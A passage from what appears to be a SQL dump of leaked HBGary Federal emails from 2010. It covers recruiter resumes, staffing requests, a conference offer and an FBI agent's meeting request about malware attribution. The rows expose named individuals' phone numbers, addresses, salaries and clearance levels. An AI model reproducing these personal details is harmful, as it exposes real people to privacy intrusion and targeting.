&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Starkville, MSBachelor of Business Administration with a Major in MarketingCompleted PGA of America’s Professional Golf Management ProgramSeven semesters of co-op work experience, five as an assistant golf professionalParticipated in National Student Exchange Program with New Mexico State UniversityGPA of 3.34/4.00\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence SEE THE HOT JOBS... CLICK THE LOGO LINK!\r\n\r\n',752,'aaron_hbgary_com/752.html'),(11407,'2010-09-07','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297008631.M454610P14101Q6262.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: HB Gary Proposal December 2010','Hey Aaron, Just wanted to check back to see if this is something you would like to pursue. Best, K\r\nOn Fri, Sep 3, 2010 at 9:39 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:\r\n\r\nHi Aaron, Last year Penny and HBGary participated in the December GTRA (Government Technology Research Alliance) Summit in Pennsylvania. It was very successful -- in fact, HBGary won several awards based on our participation. The show is coming up again December 5-7 and we thought you might be interested in participating on behalf of HBGary Federal. Attached are the two possible sponsorship opportunities. Right now, they still have two speaking slots open. If you are interested, we would need to let them know early next week to hold one of those spots. \r\n\r\n \r\nPenny can fill you in on more details if you have questions, etc. Also, here is a link to the summit http://gtra.org/index.php/gtra-events/dec-2010-defense-council-meeting\r\n\r\n \r\nPlease let me know what you decide. Best, Karen \r\n\r\n\r\n\r\n---------- Forwarded message ----------From: Kelly Yocum &lt;kellyy@gtra.org&gt;\r\nDate: Fri, Sep 3, 2010 at 9:00 AMSubject: HB Gary Proposal December 2010To: &quot;karen@hbgary.com&quot; &lt;karen@hbgary.com&gt;\r\n\r\n\r\n\r\nHi Karen,It was great speaking with you. Attached are the two package options we have available. The significant differences are speaking, number of attendees, number of guaranteed government meetings and the upgraded deluxe marketing package.\r\nPlease don&#39;t hesitate to call my cell should you have any questions.Have a great weekend!\r\n\r\nBest Regards,\r\nKelly YocumCo-Founder &amp; Executive DirectorGovernment Technology Research Alliance \r\n(GTRA)1701 Pennsylvania Ave, NWSuite 300\r\nWashington DC, 20006202.248.5411 Office415.596.5000 Mobile\r\n202.351.0569 Faxwww.GTRA.org \r\nwww.GTRACouncilMeeting.orgwww.GOVTekAwards.org\r\nhttp://www.linkedin.com/in/kellyyocumhttp://www.twitter.com/gtra\r\nGTRA – Improving Government Collaboration For Solutions &amp; Innovation!\r\n\r\n',386,'aaron_hbgary_com/386.html'),(11408,'2010-09-07','\"The Intelligence Community (IC)\" <groups-noreply@linkedin.com>','/aaron@hbgary.com/new/1297008631.M714271P14101Q6263.eml','\"Aaron Barr\" <aaron@hbgary.com>','Announcement from The Intelligence Community (IC) - Membership requirements','\r\n\r\n  \r\n\r\n\r\n  \r\n    LinkedIn  Groups\r\n  \r\n  \r\n    \r\n      \r\n        Group: The Intelligence Community (IC)\r\n        Subject: Announcement from The Intelligence Community (IC) - Membership requirements \r\n      \r\n      \r\n	        Recently, I have had several inquiries as the vetting of members and thus the direction of the group.  The issue of US citizenship as a requirement seems to be a growing concern to the group’s membership.    As the creator and moderator of the group, I initially had membership open to members within the IC that were not only US citizens but those of allied nations as well.  Having said that, this group has grown far beyond my expectation in the short time it has been in existence.  I understand that because of this, the group must continue to grow in a direction that is beneficial to its membership verses my personal vision. \r\n\r\nTo address this issue I am requesting feedback from YOU the members of The Intelligence Community (IC) as to how YOU would like this issue to be addressed.  However, should the result of the feedback indicate that the majority of the group would like the group to be restricted US citizens, I will also need assistance in re-vetting the over 5,000 existing members.  So I will be asking for volunteers to be managers of the group to accomplish this daunting task. \r\n\r\nI also wanted to re-address another issue, posting to the group.  As far as the posting go….I do not monitor ever post that goes out on to the group.    As I stated in my recent announcement, this would require an immense amount of time.  I am sure you can understand that like most of you, I still hold down a full time career and can only donate so much time to the group.  That is why I rely on members to bring any concerns to my attention.  If there is ever something of concern please use the “Flag” feature on each discussion as it will bring to my attention that you have a concern with a  discussion or a comment in the discussion.  It is my expectation that we are all professionals and can express ourselves accordingly.\r\n\r\nI am not sure what the solutions to these issues are …is it more managers….a review board…. I am sure that together our membership can come up with some creative viable solutions.  I know I will not be able to please EVERYONE but it is my goal to make the group as beneficial as I can to as many members as I can. That is why I am actively soliciting your feedback as to the direction of the group to ensure that it meets the needs of the majority.  \r\n\r\nI look forward to everybody’s professional opinion on these topics.   Remember that to get the most out of this group you have to be an active participant….not just a voyeur.\r\n\r\nSincerely,\r\nJohn Goodenow\r\n	      \r\n      Posted By John Goodenow\r\n      \r\n    \r\n    \r\n      View or add comments &#187;\r\n    \r\n    \r\n    \r\n    Don\'t want to hear from the manager? Unsubscribe here\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &copy;2010, LinkedIn Corporation.    \r\n  \r\n\r\n\r\n',2098,'aaron_hbgary_com/2098.html'),(11409,'2010-09-07','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008632.M317255P14101Q6265.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>,\"Moore, Debbie Taylor\" <dtmoore@secureinfo.com>,\"Fountain, Christopher\" <christopher.fountain@secureinfo.com>,\"Summers, Larry (IS)\" <Larry.Summers@ngc.com>','URGENT: Need TSA e-discovery replacement resource...compliance issue !','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOriginal resource fell out not willing to write commitment letter.&nbsp;\r\nPLEASE CONTACT YOUR HR/STAFFING TONIGHT!\r\n\r\n&nbsp;\r\n\r\nHere is description:\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThorough\r\nunderstanding of E-Discovery and E-Discovery techniques and process. The\r\nContractor shall be able to design, maintain and operate E-Discovery hardware\r\nand software. \r\n\r\n&nbsp;\r\n\r\n&#8226; Proficient in\r\ndeveloping and presenting, both verbally and in writing, highly technical\r\ninformation and presentations to non-technical audiences at all levels of the\r\norganization. Audiences for this information include, but are not limited to,\r\nsenior executives at TSA and other agencies. \r\n\r\n&nbsp;\r\n\r\n&#8226; Experience utilizing and\r\nevaluating results from the following set of E- Discovery tools including but\r\nnot limited to: Attenex, Autonomy, and Concordance. Experience must be clearly\r\nidentified in resume. \r\n\r\n&nbsp;\r\n\r\n&#8226; Prior management\r\nexperience leading a team of E-Discovery Analysts in day-to-day operations.\r\nExperience must be clearly identified in resume. \r\n\r\n&nbsp;\r\n\r\n&#8226; Experience as a court recognized expert witness\r\nin the area of digital evidence collection. Experience must be clearly\r\nidentified in resume. \r\n\r\n&nbsp;\r\n\r\n&#8226; Experience utilizing\r\nand evaluating results from the following set of E-mail recovery tools\r\nincluding but not limited to: Kroll Ontrack Power Controls and Paraben E-mail\r\nExaminer. Experience must be clearly identified in resume. \r\n\r\n&nbsp;\r\n\r\n&#8226; Hands on experience\r\nwith the hardware and software associated with e-mail recovery and E-Discovery.\r\nExperience must be clearly identified in resume. \r\n\r\n&nbsp;\r\n\r\n&#8226; Experience working with\r\nlegal professionals on\r\ncases. Experience must be clearly identified in resume. \r\n\r\n&nbsp;\r\n\r\n&#8226; Years Experience: 6\r\nminimum of strong relevant experience as outlined in the Performance Objectives\r\n\r\n\r\n&nbsp;\r\n\r\n&#8226; Duty Location: TSA\r\nHeadquarters, Arlington, VA \r\n\r\n&nbsp;\r\n\r\n&#8226; Clearance Requirements:\r\nActive Secret \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\nCivilian Programs\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS &#8211; ALLIANT SB - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15219,'aaron_hbgary_com/15219.html'),(11410,'2010-09-08','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297008632.M524631P14101Q6266.eml','\"Barr Aaron\" <aaron@hbgary.com>','FB','http://www.facebook.com/iZiggMobile\r\n',1733,'aaron_hbgary_com/1733.html'),(11411,'2010-09-07','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008632.M70976P14101Q6264.eml','','Michael Haendel','CANDIDATE NAME: &nbsp;Michael HaendelLAST SALARY: $90,000CLEARANCES: &nbsp;TOP SECRET / SCI with CI Poly, Oct 2009LIVES IN: TEXAS &nbsp; &nbsp;WILL RELOCATE to DC AREA or OTHER USALOOKING FOR WORK BECAUSE: &nbsp;Contract ended with his last companyHE IS A: DSP/FPGA/Digital Design SMEObjectiveObtain a challenging position utilizing my electrical, electronic, and signal processing engineering experiences.EducationUniversity of Central Florida Orlando, FloridaDegree: Masters of Science May 2006Major: Electrical EngineeringTrack: Digital Signal ProcessingGraduate courses completed: Advanced Computer Architecture, Random Processes, Digital Signal Processing, and Radar Applications, Parallel Computer Architecture, VLSI Design with Verilog, Discrete Signal Processing Applications, Adv Topics Computer Architecture.Southern Illinois University Carbondale, IllinoisDegree: Bachelor of Science May 1990Major: Electrical Engineering,Minor: MathematicsExperienceMacaulay Brown, Inc. San Antonio, TexasElectrical Engineer V Jan 2009 –Jan 2010Duties Include: Ida Pro / OillyDbg cryptographic analysis/synthesis, Xilinx FPGA bit-stream analysis, and hardware analysis, 40 hours Wind River RTOS training.TAC World Wide Consulting / Dell Computer, Inc. Austin, TexasContractor / Signal Integrity Engineer Jun 2008–Oct 2008Duties Include: Hardware signal integrity analysis of DDR2, I2C, proprietary busses and circuits, schematic design, testing of serverprinted wire boards.Symtx Test, Inc. Austin, TexasProject Engineer III Sep 2007 –Jan 2008Duties include: FPGA Design , Digital Signal Processing and Digital Hardware Design Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Stratix II, implementing Weather Doppler Radar digital signal processing algorithms, FPDP Array Storage Hard Drive Arrays, RF/IF Signal Processing, Matlab/Simulink Algorithm Development.Triple Crown Consulting / Rockwell Collins, Inc. Cedar Rapids, IowaContractor / FPGA Designer Mar 2007 –Jun 2007Duties include : Embedded and hardware design and analysis, documentation, and VHDL Programming targeting Altera Cyclone III, Xilinx VirtexE, Xilinx Virtex 4 FPGAs, implementing airbourne and ground based communication systems. EDA Tools used:Telelogic DOORS 8.1/DO-256, MG HDL Designer, Aretna Spyglass, Synopsis Simplicity, and Modelsim7.1, Matlab algorithm development.Volt Consulting / Rockwell Collins, Inc. Cedar Rapids, IowaConsultant / FPGA Designer Nov 2006–Dec 2006Duties include: Hardware Design Analysis, Documentation, and VHDL Programming targeting two Altera MAX 7000 CPLDs.Oxford International Consulting / Luna Innovations, Inc. Blacksburg, VirginiaContractor / FPGA Designer Oct 2006–Nov 2006Duties include: VHDL programming targeting Altera Stratix II FPGA to be implemented in an ultrasonic imaging medical electronic device.University of Central Florida Orlando, FloridaResearch Assistant May 2005–Dec 2005Duties include: VHDL programming targeting a Xilinx Virtex II Pro FPGA, embedded in an Avnet Virtex II Pro Development Board.Two contracts were supported, a NASA project investigating evolvable hardware targeted for space borne applications, and an Air Force project investigating fragmentation, mutation and repair of FPGA hardware configurations the tools utilized for the task were:Matlab simulation, ModelSim XE 6.3.03i, and Xilinx Navigator 6.3.03i, and Xilinx SDK Embedded Development Kit 6.3.i . This work was performed concurrently during the year of 2005, while pursuing and completing a master’s degree in electrical engineering, specializing in digital signal processing. Additionally satisfied requirements MSCpE/Digital Architecture Track.System Pros / Oxford International Consulting / Sypris Electronics, Inc. Tampa, FloridaContractor / FPGA Designer Sep 2004–Dec 2004Duties include: VHDL programming targeting a Xilinx Spartan III FPGA for use in COMSEC Type 1 Trunk Encoder Encryption /Decryption / Cryptographic Unit, in compliance with Line Encryption Units standards being developed for the NSA, Army, and Navy. My assignment was exclusively to the KIV-19M program. Work experience with ARM 7 processor implementing cryptographic algorithms. The tools utilized for the task were: ModelSim XE, PE, SE, and Xilinx Navigator 6.3.ATI Consulting / Northrop-Grumman, Inc. Baltimore Maryland.Contractor / FPGA Designer Sep 2003–Aug 2004Duties include: FPGA, VHDL and analog and digital hardware design for airborne radar / electronic countermeasure systems.Additional duties include documentation, presentations, testing, and project scheduling for the Northrop Grumman EA6B III and the Northrop Grumman F18G. Worked with high speed digital design of a large Xilinx CPLD operating at 100MHz, and additional multiple clock domains of 25MHz, 50Mhz.Harris Corporation Corp. Palm Bay, FloridaElectrical Engineer II Apr 2000–Aug 2002Duties Include : Digital design, VHDL programming and test benching, hardware flight integrity analysis / simulation, analysis of analog circuits, as well as increased basic understanding of signal processing, RF circuits, and antenna design. Additionally, experience was gained with embedded programming for the Motorola 68HC16, configuring a Data IO programmer, and utilizing basic pieces of test equipment. Acquired experience test benching VHDL for clearance project, Fibre-Channel Arbitrated Loop network for Advanced Joint Strike Fighter / Apache Helicopter. Additional experience includes: hardware flight integrity analysis for the Comanche Helicopter, VHDL test benching for a memory controller and VHDL programming, analysis, and design for a section of avideo digital pipeline algorithms. Presented results of simulation / analysis of a high speed design, as a preliminary design review for a VHDL project. Programmed Xilinx Virtex/VirtexE FPGAs, and received extensive training on Virtex 2 FPGAs, as well as Altera Quartus FPGAs. Additionally, was assigned to a prestigious project, Special Emphasis Team and produced a UNIX based distributed computing project, Matlab Algorithm development .Lucent Technologies, Inc. Naperville, IllinoisMember Technical Staff 1 Dec 1997–Nov 1999Duties include : C/UNIX programming for class 5E Lucent telecommunication switches, diagnostics, telecommunication related skills. Utilized a variety of proprietary tool sets used for software revision management. My responsibility included: POTS, ISDN, and proprietary optical diagnostics, switch configuration and testing, and new software development. Gained experience with basic telecom maintenance, and attended Lucent Lecture Series, Lucent Technical Roadmap Series, Department and Group meetings, and received 40 hours of Lucent technical education per year. Additional education includes forty hours of Visual C++/OOP utilizing MFC / COM.O’Brien Consulting / AT&amp;T, Inc. Chicago, IllinoisConsultant / Telecom Designer May 1997–Oct 1997Duties include : New fiber-optic layout of Chicago Metro and Chicago Suburban loops. Worked with engineering, and used AutoCAD 14, concurrently while attending University of Illinois at Chicago.Additional Work History Available Upon Request.SkillsVHDL FPGA Verilog EDA Firmware Cryptography DigitalAnalog PCB DSP Matlab C/C++ Linux Virtual OSAssembler Telecom Controls PLC Filters TCL 6811x86 Xilinx Altera Reconfiguration Testbench Signal Integrity ULPSpice EDK Chipscope ISE Quartus DDR2 I2CHDL Designer Symplicity ModelSim 800Mhz RF MathCAD POTSISDN RS232 RS485 Mil Std 1553 Virtex X Spartan X Cyclone XWind River RTOS FORTRAN BASIC SpecctraQuest NCVHDL VisualElitePADS DxDesigner RADAR SCADA Schematic SpyGlass ControlADC/DAC/PLL VHDL Cores Airborne Fibre Channel Doppler Documentation AutoCadDO 254 Simulink System Generator StateCAD Parallel Proc Medical ConsumerHonorsResearch Assistant, Deans List, EIT, Won Design Engineering CompetitionSpecialToastmasters International Sergeant of Arms\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence SEE THE HOT JOBS... CLICK THE LOGO LINK!\r\n\r\n',5309,'aaron_hbgary_com/5309.html'),(11412,'2010-09-08','\"Alex Torres\" <alex@hbgary.com>','/aaron@hbgary.com/new/1297008632.M747262P14101Q6267.eml','all@hbgary.com','AD Version 1.1.0.271 is live!','The latest patch for Active Defense is up on the portal and available for download via the Active Defense UI.This patch includes:New Feature: Search for system by IP - You can now search for systems by IP address or host name.\r\nNew Feature: Added in better paging to tables - The new paging system allows you to easily jump to a specific page or click through the pages one by one.New Feature: System Log for each system - There is a new tab on the system details page that shows you all of the system log entries for that specific system.\r\nBug Fix: Fixed issue where manually installing a system would sometimes create duplicate entries in the system list.Bug Fix: Various bug fixes for RawVolume and Physmem Scan Policy queries.Bug Fix: Fixed issue with missing directories in file system preview.\r\nAdded in a more forensically sound method of retrieving files (livebins, requested files, etc.) from systems.Bug Fix: Before the agent starts a physical memory scan it will delete the old physical memory dump before calculating drive space.\r\nBug Fix: Fixed paging during Report generation.Bug fixes and enhancements to reduce DDNA agent memory usage. \r\n',14071,'aaron_hbgary_com/14071.html'),(11413,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008632.M953704P14101Q6268.eml','\"Geary, Christopher A.\" <Christopher.Geary@ic.fbi.gov>','Re: FIRST Conference in Miami','is this for next Wed? or another day?\r\nAaron\r\n\r\nOn Sep 7, 2010, at 5:01 PM, Geary, Christopher A. wrote:\r\n\r\n> Aaron, Tysons would be fine.  I\'m still waiting to hear back from a couple of people.  Does the afternoon work for you, say 1:30 to 3:30?\r\n> \r\n> Chris\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> To: Geary, Christopher A.\r\n> Sent: Tue Sep 07 16:56:42 2010\r\n> Subject: Re: FIRST Conference in Miami\r\n> \r\n> Sure.  I normally use the offices in Tysons Corner but I can check\r\n> other locations that might be closer to you.\r\n> \r\n> Aaron\r\n> \r\n> Sent from my iPhone\r\n> \r\n> On Sep 7, 2010, at 4:41 PM, \"Geary, Christopher A.\"\r\n>  wrote:\r\n> \r\n>> Aaron,\r\n>> \r\n>> \r\n>> Where would you want to meet? You mentioned your Regus offices, where is that located?  Sorry I am not familiar with D.C.\r\n>> \r\n>> Chris\r\n>> \r\n>> \r\n>> SSA Christopher A. Geary\r\n>> CERT/CC Liaison\r\n>> 3238 CIC\r\n>> Pittsburgh, PA 15213\r\n>> \r\n>> (412) 268-9244\r\n>> ________________________________________\r\n>> From: Aaron Barr [aaron@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 4:31 PM\r\n>> To: Geary, Christopher A.\r\n>> Subject: Re: FIRST Conference in Miami\r\n>> \r\n>> Chris,\r\n>> \r\n>> Sure either week is fine with me.  Let me know what works for you.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Sep 7, 2010, at 4:24 PM, Geary, Christopher A. wrote:\r\n>> \r\n>>> Aaron,\r\n>>> \r\n>>> Thank you for the quick response.  I am not sure if Wednesday of next week would be too quick or not?  It would be myself and 1 -3 other Cyber Division people.  If that doesn\'t work, the following week could work out too.\r\n>>> \r\n>>> Thanks,\r\n>>> \r\n>>> Chris\r\n>>> \r\n>>> \r\n>>> \r\n>>> SSA Christopher A. Geary\r\n>>> CERT/CC Liaison\r\n>>> 3238 CIC\r\n>>> Pittsburgh, PA 15213\r\n>>> \r\n>>> (412) 268-9244\r\n>>> ________________________________________\r\n>>> From: Aaron Barr [aaron@hbgary.com]\r\n>>> Sent: Tuesday, September 07, 2010 4:06 PM\r\n>>> To: Geary, Christopher A.\r\n>>> Subject: Re: FIRST Conference in Miami\r\n>>> \r\n>>> Hi Chris,\r\n>>> \r\n>>> I would be happy to meet.  I am local to DC, but we don\'t have a local DC office yet, our headquarters is in Sacramento and we have a Lab in Colorado Springs.  But I can get a Regus office for an hour or two and we can go over some of our capabilities and methodologies related to cyber investigations.\r\n>>> \r\n>>> I will be on travel Mon and Tues next week.  Let me know your availability.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Sep 7, 2010, at 11:43 AM, Geary, Christopher A. wrote:\r\n>>> \r\n>>>> Aaron,\r\n>>>> \r\n>>>> Hello, I am SSA Chris Geary of the FBI\'s Cyber Division.  We had spoken briefly at the FIRST Conference in Miami.  I think it was was Martin who introduced us during a discussion of malware fingerprinting.  I am part of a team here in the Cyber Division that looks at new technologies and ways to improve our investigations as it pertains to malware analysis.  I had also read an article recently about how HB Gary can identify malicious code writers through malware analysis.   Do you have a presentation that you could provide us on this?  If possible, we would like to visit your shop in the next week or so, if your schedules permit.  Please advise if this is something that you could provide.\r\n>>>> \r\n>>>> Thank You,\r\n>>>> \r\n>>>> Chris\r\n>>>> \r\n>>>> \r\n>>>> SSA Christopher A. Geary\r\n>>>> CERT/CC Liaison\r\n>>>> 3238 CIC\r\n>>>> Pittsburgh, PA 15213\r\n>>>> \r\n>>>> (412) 268-9244\r\n>>> \r\n>> \r\n\r\n',12192,'aaron_hbgary_com/12192.html'),(11414,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008633.M167486P14101Q6269.eml','\"Matt Bigge\" <matt@strategicsocial.com>,\"Matt Bigge\" <matt@strategicsocial.com>','Re: Introduction','Hey Matt,\r\n\r\nI will be in Denver early next week.  Shoot me a few other dates/times that might work.\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 5:24 PM, Matt Bigge wrote:\r\n\r\n> Nate - great to meet you this morning. You are working on some pretty cool things and it would be great to help in any way I can.\r\n> \r\n> Aaron - It sounds like you are working on something that might be helpful on a project we are currently pursuing.  I\'ll in my Rosslyn office all of next week.  Perhaps we could get together?  Monday and Tuesday are best for me.\r\n> \r\n> Regards,\r\n> \r\n> Matt\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, September 07, 2010 3:55 PM\r\n> To: Nathan Atherley\r\n> Cc: Matt Bigge\r\n> Subject: Re: Introduction\r\n> \r\n> Nate,\r\n> \r\n> Thanks for the intro.  Lets get together if schedules permit, this topic is always good over a beer or food.\r\n> \r\n> Greg and I currently have a side project we are working on that is focused around location and social gaming that we are pretty excited about that I would be happy to tell you a little about.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Sep 7, 2010, at 3:18 PM, Nathan Atherley wrote:\r\n> \r\n>> Aaron\r\n>> \r\n>> I had a very interesting conversation with Matt (cc\'d) this morning regarding what he and his company are doing.  Matt is CEO of a company called Strategic Social and in similar swim lanes to what I think you want to do as we previously discussed.  Matt is a former Army Ranger and I think you would get along.  You have similar passions.\r\n>> \r\n>> Matt\r\n>> \r\n>> Aaron is currently heading up a company called HBGary\'s federal business in Washington DC.  Aaron has a passion for social apps, iphone apps etc that have been used in areas of interest by the US Government.  We are working with Aaron and HBGary on one of our programs for Farallon Research.  BTW, thanks for taking the time this morning, it was a good and fun conversation.\r\n>> \r\n>> I believe you two have some common interests in these areas, and could benefit from a conversation.  I would be happy to facilitate a conference call, or we could all try and meet in the DC area.\r\n>> \r\n>> Nathan\r\n>> \r\n>> \r\n> \r\n\r\n',5375,'aaron_hbgary_com/5375.html'),(11415,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008633.M516155P14101Q6270.eml','\"Bill Luti\" <wluti@digitalmanagement.com>,\"Bill Luti\" <wluti@digitalmanagement.com>','Resume','Hey Bill,Just put the kids to sleep and heard your message...here are a few resumes for you to review. &nbsp;Not sure if they are exact fits but might work in a pinch.AaronActive TS/SCI Active Clearance&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;WORK EXPERIENCE:Defense Information Systems Agency - Connection Approval Office - Falls Church, Virginia -&nbsp;October 2009 – PresentIA Analyst &nbsp;&nbsp;Maintain connection approval process (CAP) through certification and accreditation (C&amp;A) documentationPerform risk analysis, which also includes risk management, assessments and&nbsp;security penetration testing.Interfaces with user community to understand their security needs and implements procedures that ensures user community understands and adheres to necessary procedures to maintain securityAssist security team with accurate evaluation of the level of security required to mitigate identified risks and/or achieve complianceReview certification and accreditation (C&amp;A) documentation to support the DIACAP approval process within the Department of Defense (DOD)Review and track C&amp;A documentation provided by programs of record (POR), centrally managed systems, Joint Programs and Systems, Legacy, site, Architecture and locally acquired programs to ensure that DITSCAP/DIACAP documentation complies with the provision of DoD 8500 series IA policy directives and the DoD 8510.01 (DIACAP) instructionProvide documentation security analysis and review; summarize required information in C&amp;A Endorsement Letters to support C&amp;A risk determination and IATC/ATC Connection Aproval recommendations&nbsp;Department of Treasury - Security Operations Center - McLean, Virginia -&nbsp;September 2008 – October 2009Security AnalystPerform daily Intrusion Detection Sensor (IDS) monitoring to ensure that all sensors are active.Review alerts and packet-level data collected from sensors on a daily basis and report findings to the government Watch Officer (WO).Provide incident response functions when appropriate and coordinate activities with field site personnel when directed by the government WO.Support the government WO in publishing incidents, alerts, advisories and bulletins as required.Conduct research pertaining to the latest viruses, worms, etc. and the latest technological advances in combating unauthorized access to information.Submit an End-of-Shift Report summarizing activities for each shift.&nbsp;Federal Aviation Administration - Cyber Security Management Center - Leesburg, Virginia	&nbsp;-&nbsp;November 2007 – September 2008Network Security Engineer Research and DevelopmentResearch, develop and evaluate applications, software packages, and appliances to assist the CSMC operation’s Duty Analyst in performing daily Intrusion Detection Sensor (IDS) monitoring of LOBs.Review in test lab various solutions to aid the Enterprise Security Information Management (SIM) tool interface as the tool correlates and aggregates alert data from multiple IDS sensor types and additional security devices.Research and recommend a wide array of technologies to assist CSMC Duty Analysts in their task of reporting findings to the government Watch Officer (WO) on alert and packet-level data collection from the CSMC’s field sensors.Conduct research pertaining to the latest viruses, worms, etc. and the latest technological advances in combating unauthorized access to informationThe R&amp;D team manages all aspects of the evaluation process, to include; needs assessment, requirements definition, criteria matrix, evaluation planning, lab set up &amp; maintenance, test data preparation, formal product testing and technical writing documentation.&nbsp;National Geospatial Intelligence Agency - Network Operations - Reston, Virginia -&nbsp;August 2005 – November 2007Sr. Systems AdministratorTroubleshooting and resolving a wide range of complex system, software, hardware, and network issues to include planning and implementing system, data and database backup and recoveriesTroubleshooting network components utilizing various network protocols, and domain wide account management via Active Directory Users and ComputersInstalling, configuring and maintaining Windows servers, workstations and laptopsPerforming installations and upgrades to operating systems, various software packages and maintaining all systems in accordance with established policies, procedures and service level agreementsProvide the engineering and technical expertise to track, assess, manage, and impact changes to the baseline of systems under management by NGA Implementing and managing appropriate technical solutions and insuring all Service Level Agreements are met&nbsp;US Investigation Services – Information Technology Department - Falls Church, Virginia -&nbsp;December 2002 – August 2005Network/Systems AdministratorProvided network management, web services, file and print sharing resources, technical assistance, and diagnosed hardware/software issues for corporate clients in a Windows 2000/2003 Server multi-platform and Unix Server (15 to 20%) environment &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Maintained the availability of company computer systems including servers, workstations, laptops, printers and multimedia equipmentManaged local and domain wide groups through Active Directory supporting over 300 usersDesktop Support for all areas including printing, networking, and telecommunications&nbsp; Hardware/Software testing, recommendation and implementationUse of Security Information Management/Security Event Management (SIM/SEM) toolsUse of network mapping tools such as Nmap and SuperScan for network inventory, managing service upgrade schedules, and monitor host or service uptimeDetermined hosts availability on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, TCP port scanning, pinging, and tracerouteUse of enterprise antivirus application with various Operating Systems and LAN/WAN technologies&nbsp;United States Marine Corps - Quantico, Virginia -&nbsp;July 1998 – July 2002Combat Visual Information SpecialistCurrent Status: Corporal (NCO) Veteran&nbsp;&nbsp;&nbsp;&nbsp;Well-developed organizational and leadership skills&nbsp;&nbsp;&nbsp;&nbsp;Traveled the continental U.S. and over seas providing photographic support for Marine Corps wide imagery databases&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Skilled professional Marine photographer of the U.S. Marine Corps Combat Visual Information Center&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Developed interactive archival programs for the U.S. Marine Corps Combat Visual Information Center (CVIC)&nbsp;&nbsp;&nbsp;&nbsp;Created graphic illustrations and video documentation used to aid in military training&nbsp;&nbsp;&nbsp;&nbsp;Aided in the development of department web site and trained as microcomputer repair technician &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Operated as Information System Coordinator for the U.S. Marine Corps Combat Visual Information Center in Quantico Virginia. Managed research and development of department wide Information System PC upgradeEDUCATION:&nbsp;B.S. Computer Information Systems,&nbsp;Strayer University&nbsp;SCNA/SCP &nbsp;&nbsp;(Security Certified Network Architect)&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 